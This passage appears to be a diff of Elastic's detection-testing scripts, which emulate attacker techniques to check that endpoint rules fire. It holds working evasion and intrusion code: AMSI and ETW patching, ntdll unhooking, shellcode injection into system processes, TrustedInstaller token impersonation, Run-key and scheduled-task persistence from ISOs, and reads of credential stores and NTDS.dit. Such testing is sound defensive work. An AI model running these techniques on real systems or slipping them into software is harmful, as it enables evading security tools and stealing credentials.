etw_rwx = VirtualProtect(etw, ctypes.sizeof(patch), RWX, OLD_PROTECTION)
if amsi_rwx and etw_rwx:
print(f'[+] Changed Proctection of AmsiScanBuffer and EtwNotificationRegister to RWX')
c_null = ctypes.c_int(0)
amsi_bypass = WriteProcessMemory(GetCurrentProcess(), amsi, patch, ctypes.sizeof(patch), ctypes.byref(c_null))
etw_bypass = WriteProcessMemory(GetCurrentProcess(), etw, patch, ctypes.sizeof(patch), ctypes.byref(c_null))
if amsi_bypass and etw_bypass:
print(f'[*] RTA Done - Patched AmsiScanBuffer & EtwNotificationRegister!')
if __name__ == "__main__":
exit(main())
+34
View File
@@ -0,0 +1,34 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
import os
metadata = RtaMetadata(
uuid="7fcf2f31-b510-45f8-9de4-7dc8f5ecb68b",
platforms=["windows"],
siem=[],
endpoint=[{"rule_id": "d7bc9652-fe82-4fb3-8a48-4a9289c840f8", "rule_name": "Potential NTDLL Memory Unhooking"},
{"rule_id": "2c4f5a78-a64f-4fcf-ac52-bf91fd9b82c8", "rule_name": "Suspicious Image Load via LdrLoadDLL"},
{"rule_id": "703343f1-095a-4a5a-9bf4-5338db06ecb8", "rule_name": "Process Creation from Modified NTDLL"}],
techniques=["T1055"],
)
# testing PE that will first unhook ntdll txt section and load ws2_32.dll, create notepad.exe from unhooked ntdll then load psapi.dll via LdrLoadDll
# source code -https://gist.github.com/Samirbous/cee44dbd0254c28d4f57709d5c723aee
BIN = common.get_path("bin", "rta_unhook_ldrload.exe")
@common.requires_os(metadata.platforms)
def main():
if os.path.exists(BIN) :
print(f'[+] - File {BIN} will be executed')
common.execute(BIN)
# cleanup
common.execute(["taskkill", "/f", "/im", "notepad.exe"])
if __name__ == "__main__":
exit(main())
+45
View File
@@ -0,0 +1,45 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
import os
metadata = RtaMetadata(
uuid="a4355bfc-aa15-43f6-a36d-523aa637127b",
platforms=["windows"],
siem=[],
endpoint=[{"rule_id": "0cdf1d24-b1c3-4952-a400-5ba3c1491087", "rule_name": "Persistence via a Process from a Removable or Mounted ISO Device"},
{"rule_id": "3c12c648-e29f-4bff-9157-b07f2cbddf1a", "rule_name": "Scheduled Task from a Removable or Mounted ISO Device"}],
techniques=["T1071", "T1204"],
)
# iso contains cmd.exe to test for rules looking for persistence from a PE from a mounted ISO or its descendants
ISO = common.get_path("bin", "cmd_from_iso.iso")
PROC = 'cmd.exe'
# ps script to mount, execute a file and unmount ISO device
PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1")
@common.requires_os(metadata.platforms)
def main():
if os.path.exists(ISO) and os.path.exists(PS_SCRIPT):
print(f'[+] - ISO File {ISO} will be mounted and executed via powershell')
# commands to trigger two unique rules looking for persistence from a mounted ISO file
for arg in ["'/c reg.exe add hkcu\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v FromISO /d test.exe /f'", "'/c SCHTASKS.exe /Create /TN FromISO /TR test.exe /sc hourly /F'"] :
# import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute and -cmdline for arguments
command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC} -cmdline {arg};"
common.execute(command)
# cleanup
rem_cmd = "reg.exe delete 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' /v FromISO"
common.execute(["cmd.exe", "/c", rem_cmd], timeout=10)
common.execute(["SCHTASKS.exe", "/delete", "/TN", "FromISO", "/F"])
print(f'[+] - RTA Done!')
if __name__ == "__main__":
exit(main())
+42
View File
@@ -0,0 +1,42 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
import os
metadata = RtaMetadata(
uuid="8bd17f51-3fc0-46a8-9e1a-662723314ad4",
platforms=["windows"],
siem=[],
endpoint=[{"rule_id": "779b9502-7912-4773-95a1-51cd702a71c8", "rule_name": "Suspicious ImageLoad from an ISO Mounted Device"},
{"rule_id": "08fba401-b76f-4c7b-9a88-4f3b17fe00c1", "rule_name": "DLL Loaded from an Archive File"}],
techniques=["T1574", "T1574.002"],
)
# iso contains shortcut to start Rundll32 to load a testing DLL that when executed it will spawn notepad.exe
ISO = common.get_path("bin", "lnk_from_iso_rundll.iso")
# shortcut name
PROC = 'Invite.lnk'
# ps script to mount, execute a file and unmount ISO device
PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1")
@common.requires_os(metadata.platforms)
def main():
if os.path.exists(ISO) and os.path.exists(PS_SCRIPT):
print(f'[+] - ISO File {ISO} will be mounted and executed via powershell')
# import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute
command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC};"
common.execute(command)
# terminate notepad.exe spawned as a result of the DLL execution
common.execute(["taskkill", "/f", "/im", "notepad.exe"])
print(f'[+] - RTA Done!')
if __name__ == "__main__":
exit(main())
+37
View File
@@ -0,0 +1,37 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
import os
metadata = RtaMetadata(
uuid="ba802fb2-f183-420e-947b-da5ce0c74d123",
platforms=["windows"],
siem=[],
endpoint=[{"rule_id": "ba802fb2-f183-420e-947b-da5ce0c74dd3", "rule_name": "Potential DLL SideLoad via a Microsoft Signed Binary"}],
techniques=["T1574", "T1574.002"],
)
# iso contains WerFault.exe and a testing faultrep.dll to be sideloaded
ISO = common.get_path("bin", "werfault_iso.iso")
PROC = 'WER_RTA.exe'
# ps script to mount, execute a file and unmount ISO device
PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1")
@common.requires_os(metadata.platforms)
def main():
if os.path.exists(ISO) and os.path.exists(PS_SCRIPT):
print(f'[+] - ISO File {ISO} will be mounted and executed via powershell')
# import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute
command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC};"
common.execute(command)
print(f'[+] - RTA Done!')
if __name__ == "__main__":
exit(main())
+58
View File
@@ -0,0 +1,58 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="6373e944-52c8-4199-8ca4-e88fd6361b9c",
platforms=["windows"],
endpoint=[{'rule_id': 'cc35ee3e-d350-4319-b7f3-ea0d991ce4d9', 'rule_name': 'Suspicious Impersonation as Trusted Installer'}],
siem=[],
techniques=["T1134"],
)
def startsvc_trustedinstaller():
try:
import win32service
hscm = win32service.OpenSCManager(None,None,win32service.SC_MANAGER_ALL_ACCESS)
hs = win32service.OpenService(hscm, "TrustedInstaller", win32service.SERVICE_START)
win32service.StartService(hs, "30")
win32service.CloseServiceHandle(hscm)
win32service.CloseServiceHandle(hs)
print(f'[+] - TrustedInstaller service started')
except Exception as e:
print(f'[x] - Failed to start TrustedInstaller service, probably already started')
pass
def impersonate_trusted_installer():
try:
import win32api, win32security, win32file
hp = win32api.OpenProcess(common.PROCESS_QUERY_LIMITED_INFORMATION, 0, common.getppid("TrustedInstaller.exe"))
th = win32security.OpenProcessToken(hp, common.TOKEN_ALL_ACCESS)
new_tokenh = win32security.DuplicateTokenEx(th, 2, common.TOKEN_ALL_ACCESS , win32security.TokenImpersonation , win32security.SECURITY_ATTRIBUTES())
win32security.ImpersonateLoggedOnUser(new_tokenh)
print(f'[+] - Impersonated TrustedInstaller service')
hf = win32file.CreateFile("rta_ti.txt", win32file.GENERIC_WRITE, 0, None, 2, 0, None)
win32file.WriteFile(hf,("AAAAAAAA").encode())
win32file.CloseHandle(hf)
win32api.CloseHandle(hp)
print(f'[+] - Created File rta_ti.txt as the TrustedInstaller service')
win32file.DeleteFile("rta_ti.txt")
print(f'[+] - Deleted rta_ti.txt')
except Exception as e:
print(f'[x] - Failed TrustedInstaller Impersonation')
pass
@common.requires_os(metadata.platforms)
def main():
common.impersonate_system()
startsvc_trustedinstaller()
impersonate_trusted_installer()
if __name__ == "__main__":
exit(main())
+59
View File
@@ -0,0 +1,59 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="bdb54776-d643-4f4c-90cc-7719c2fa7eab",
platforms=["windows"],
endpoint=[
{"rule_name": "Sensitive File Access - Unattended Panther", "rule_id": "52e4ad92-e09b-4331-b827-cd0f2cbaf576"},
{"rule_name": "Potential Discovery of Windows Credential Manager Store", "rule_id": "cc60be0e-2c6c-4dc9-9902-e97103ff8df9"},
{"rule_name": "Potential Discovery of DPAPI Master Keys", "rule_id": "84bbe951-5141-4eb3-b9cf-8dfeea62a94e"},
{"rule_name": "Suspicious Access to Active Directory Database File", "rule_id": "d66765b8-010b-4a40-ab62-1d8f13a44878"},
{"rule_name": "Sensitive File Access - SSH Saved Keys", "rule_id": "1487d726-2bd2-4a9e-a9d2-db8aef1d6239"},
{"rule_name": "Failed Attempts to Access Sensitive Files", "rule_id": "3163dd96-c677-4f1f-98bf-c8f3c81b197b"},
{"rule_name": "Sensitive File Access - System Admin Utilities", "rule_id": "949c72ee-a283-4673-afe0-7fa72bddc2f6"},
{"rule_name": "Potential Credential Access via Windows Credential History", "rule_id": "ce8a6302-7248-457a-8427-3d6bad14e2f0"},
],
siem=[],
techniques=["T1555.004", "T1552.001", "T1003.003"],
)
@common.requires_os(metadata.platforms)
def main():
from os import path
import win32file
files = ["%localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data",
"%localappdata%\\Google\\Chrome\\User Data\\Default\\History",
"%localappdata%\\Google\\Chrome\\User Data\\Default\\Local State",
"%appdata%\\Mozilla\\Firefox\\Profiles\\test\\logins.json",
"%appdata%\\Mozilla\\Firefox\\Profiles\\test\\cookies.sqlite",
"%appdata%\\key3.db",
"%appdata%\\KeePass\\KeePass.config.xml",
"C:\\Users\\Public\\AppData\\Local\\Microsoft\\Vault\\test",
"%appdata%\\Microsoft\\Credentials\\test",
"C:\\Windows\\Panther\\Unattend.xml",
"C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\test",
"C:\\Windows\\NTDS\\NTDS.dit",
"C:\\Users\\Public\\.ssh\\known_hosts",
"C:\\Users\\Public\\AppData\\Something\\FileZilla\\recentservers.xml",
"%appdata%\\Microsoft\\Protect\\CREDHIST"]
for item in files:
try:
win32file.CreateFile(path.expandvars(item), win32file.GENERIC_READ, 0, None, 3, 0, None)
time.sleep(2)
except Exception as e:
print(f'[x] - Failed to open {item}')
pass
if __name__ == "__main__":
exit(main())
+38
View File
@@ -0,0 +1,38 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
# shellcode to load ws2_32.dll from unbacked memory to trigger <Network Module Loaded from Suspicious Unbacked Memory>
SHELLCODE = b"\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68\x77\x73\x32\x5F\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x74\x6F\x6E\x61\x51\x83\x6C\x24\x03\x61\x68\x65\x42\x75\x74\x68\x4D\x6F\x75\x73\x68\x53\x77\x61\x70\x54\x50\xFF\xD2\x83\xC4\x14\x33\xC9\x41\x51\xFF\xD0\x83\xC4\x04\x5A\x5B\xB9\x65\x73\x73\x61\x51\x83\x6C\x24\x03\x61\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x53\xFF\xD2\x33\xC9\x51\xFF\xD0\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90\90"
metadata = RtaMetadata(
uuid="727aa289-a1ff-4c82-b688-4cc99e07269f",
platforms=["windows"],
endpoint=[
{'rule_id': 'aa265fbd-4c57-46ff-9e89-0635101cc50d',
'rule_name': 'Network Module Loaded from Suspicious Unbacked Memory"'},
{'rule.id': 'ace0bb76-290f-4f5f-a21f-c3b13ee415a9',
'rule_name': 'Potential Masquerading as Windows Error Manager'},
],
siem=[],
techniques=["T1055", "T1036"],
)
@common.requires_os(metadata.platforms)
def main():
# Inject shellcode into WerFault.exe to trigger <Potential Masquerading as Windows Error Manager>
common.Inject(u"C:\\Windows\\SysWOw64\\WerFault.exe", SHELLCODE)
#time.sleep(2)
common.execute(["taskkill", "/f", "/im", "WerFault.exe"])
if __name__ == "__main__":
exit(main())
+38
View File
@@ -0,0 +1,38 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
# shellcode to pop calc
SHELLCODE = b"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2\x48\x83\xec\x20\x41\xff\xd6"
metadata = RtaMetadata(
uuid="979b8d18-e266-41ad-bab4-6e68971398ea",
platforms=["windows"],
endpoint=[
{'rule_id': '58b996a5-634c-4205-9ffa-a6f2b8ebc1ad', 'rule_name': 'Potential Process Creation via ShellCode'},
{'rule_id': '2ad63716-3dc3-49ba-b682-ef4b9e4a4d87', 'rule_name': 'Potential Injection via the Console Window Class'}
],
siem=[],
techniques=["T1134", "T1055"],
)
@common.requires_os(metadata.platforms)
def main():
# Inject shellcode into conhost.exe to trigger 2 rules
common.Inject(u"C:\\Windows\\System32\\conhost.exe", SHELLCODE)
# Terminate CalculatorApp.exe and Calc.exe processes using taskkill
common.execute(["taskkill.exe", "/f", "/im", "CalculatorApp.exe"])
common.execute(["taskkill.exe", "/f", "/im", "Calc.exe"])
if __name__ == "__main__":
exit(main())
+76
View File
@@ -0,0 +1,76 @@
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define IMPORTAPI(DLLFILE, FUNCNAME, RETTYPE, ...) \
typedef RETTYPE(WINAPI *type##FUNCNAME)(__VA_ARGS__); \
type##FUNCNAME FUNCNAME = (type##FUNCNAME)GetProcAddress( \
(LoadLibraryW(DLLFILE), GetModuleHandleW(DLLFILE)), #FUNCNAME);
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
HMODULE getModuleHandle(LPCWSTR libraryName) {
const LIST_ENTRY *head =
&NtCurrentTeb()->ProcessEnvironmentBlock->Ldr->InMemoryOrderModuleList;
LIST_ENTRY *next = head->Flink;
while (next != head) {
LDR_DATA_TABLE_ENTRY *entry =
CONTAINING_RECORD(next, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
const UNICODE_STRING *basename =
(UNICODE_STRING *)((BYTE *)&entry->FullDllName +
sizeof(UNICODE_STRING));
if (_wcsicmp(libraryName, basename->Buffer) == 0) {
return (HMODULE)entry->DllBase;
}
next = next->Flink;
}
return NULL;
}
HMODULE queueLoadLibrary(WCHAR *libraryName, BOOL swtch) {
IMPORTAPI(L"NTDLL.dll", NtWaitForSingleObject, NTSTATUS, HANDLE, BOOLEAN,
PLARGE_INTEGER);
if (swtch) {
IMPORTAPI(L"NTDLL.dll", RtlQueueWorkItem, NTSTATUS, PVOID, PVOID, ULONG);
if (NT_SUCCESS(RtlQueueWorkItem(&LoadLibraryW, (PVOID)libraryName,
WT_EXECUTEDEFAULT))) {
LARGE_INTEGER timeout;
timeout.QuadPart = -500000;
NtWaitForSingleObject(NtCurrentProcess(), FALSE, &timeout);
}
} else {
IMPORTAPI(L"NTDLL.dll", RtlRegisterWait, NTSTATUS, PHANDLE, HANDLE, PVOID,
PVOID, ULONG, ULONG);
HANDLE newWaitObject;
HANDLE eventObject = CreateEventW(NULL, FALSE, FALSE, NULL);
if (NT_SUCCESS(RtlRegisterWait(&newWaitObject, eventObject, LoadLibraryW,
(PVOID)libraryName, 0, WT_EXECUTEDEFAULT))) {
WaitForSingleObject(eventObject, 500);
}
}
return getModuleHandle(libraryName);
}
int main(int argc, char ** argv) {
WCHAR libraryName1[] = L"ws2_32.dll";
WCHAR libraryName2[] = L"dnsapi.dll";
HMODULE moduleHandle = queueLoadLibrary(libraryName1, TRUE);
printf("%ws loaded at 0x%p via RtlQueueWorkItem\n", libraryName1, moduleHandle);
FreeLibrary(moduleHandle);
moduleHandle = queueLoadLibrary(libraryName2, FALSE);
printf("%ws loaded at 0x%p via RtlRegisterWait\n", libraryName2, moduleHandle);
FreeLibrary(moduleHandle);
}
+39
View File
@@ -0,0 +1,39 @@
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
extern "C" __declspec(dllexport)
DWORD WINAPI WerpInitiateCrashReporting(LPVOID lpParam) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
LPTSTR cmd = __TEXT("c:\\windows\\system32\\notepad.exe");
if (!CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
MessageBox(NULL, "Create Process failed", "Error", NULL);
}
auto const address = VirtualAlloc(NULL, 0x10000, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
HANDLE h = LoadLibraryA("ws2_32.dll");
DWORD old;
VirtualProtect(address, 0x10, PAGE_READWRITE, &old);
return 0;
}
extern "C" __declspec(dllexport)
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, OIPC_InitPlus, NULL, NULL, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
+90
View File
@@ -0,0 +1,90 @@
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <psapi.h>
typedef NTSTATUS(NTAPI* pLdrLoadDll) (
PWCHAR PathToFile,
ULONG Flags,
PUNICODE_STRING ModuleFileName,
PHANDLE ModuleHandle
);
typedef VOID(NTAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
HMODULE NtLoad(LPCWSTR lpFileName) {
UNICODE_STRING ustrModule;
HANDLE hModule = NULL;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pRtlInitUnicodeString RtlInitUnicodeString = (pRtlInitUnicodeString)GetProcAddress(hNtdll, "RtlInitUnicodeString");
RtlInitUnicodeString(&ustrModule, lpFileName);
pLdrLoadDll myLdrLoadDll = (pLdrLoadDll)GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");
if (!myLdrLoadDll) {
return NULL;
}
NTSTATUS status = myLdrLoadDll(NULL, 0, &ustrModule, &hModule);
return (HMODULE)hModule;
}
int main()
{
HANDLE process = GetCurrentProcess();
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");
STARTUPINFO si;
PROCESS_INFORMATION pi;
STARTUPINFOW initInfo = { 0 };
initInfo.cb = sizeof(initInfo);
PROCESS_INFORMATION procInfo = { 0 };
GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
// unhook current proces ntdll .txt section
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}
// load ws2_32.dll from unhooked ntdll to trigger "Potential NTDLL Memory Unhooking"
HANDLE ws32 = LoadLibraryA("C:\\Windows\\system32\\ws2_32.dll");
printf("[+] - ws2_32.dll loaded at 0x%p\n", ws32);
// create notepad.exe from unhooked ntdll to trigger "Process Creation from Modified NTDLL"
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, (LPSTARTUPINFOA)&initInfo, &procInfo);
printf("[+] - notepad.exe created from unhooked ntdll\n");
// load psapi.dll via LdrLoadDll to trigger "Suspicious Image Load via LdrLoadDLL"
HMODULE psapi = NtLoad(L"psapi.dll");
printf("[+] - psapi.dll loaded at 0x%p via LdrLoadDll\n", psapi);
printf("[+] - RTA Done!\n", psapi);
// close handles
CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
CloseHandle(ws32);
CloseHandle(psapi);
FreeLibrary(ntdllModule);
return 0;
}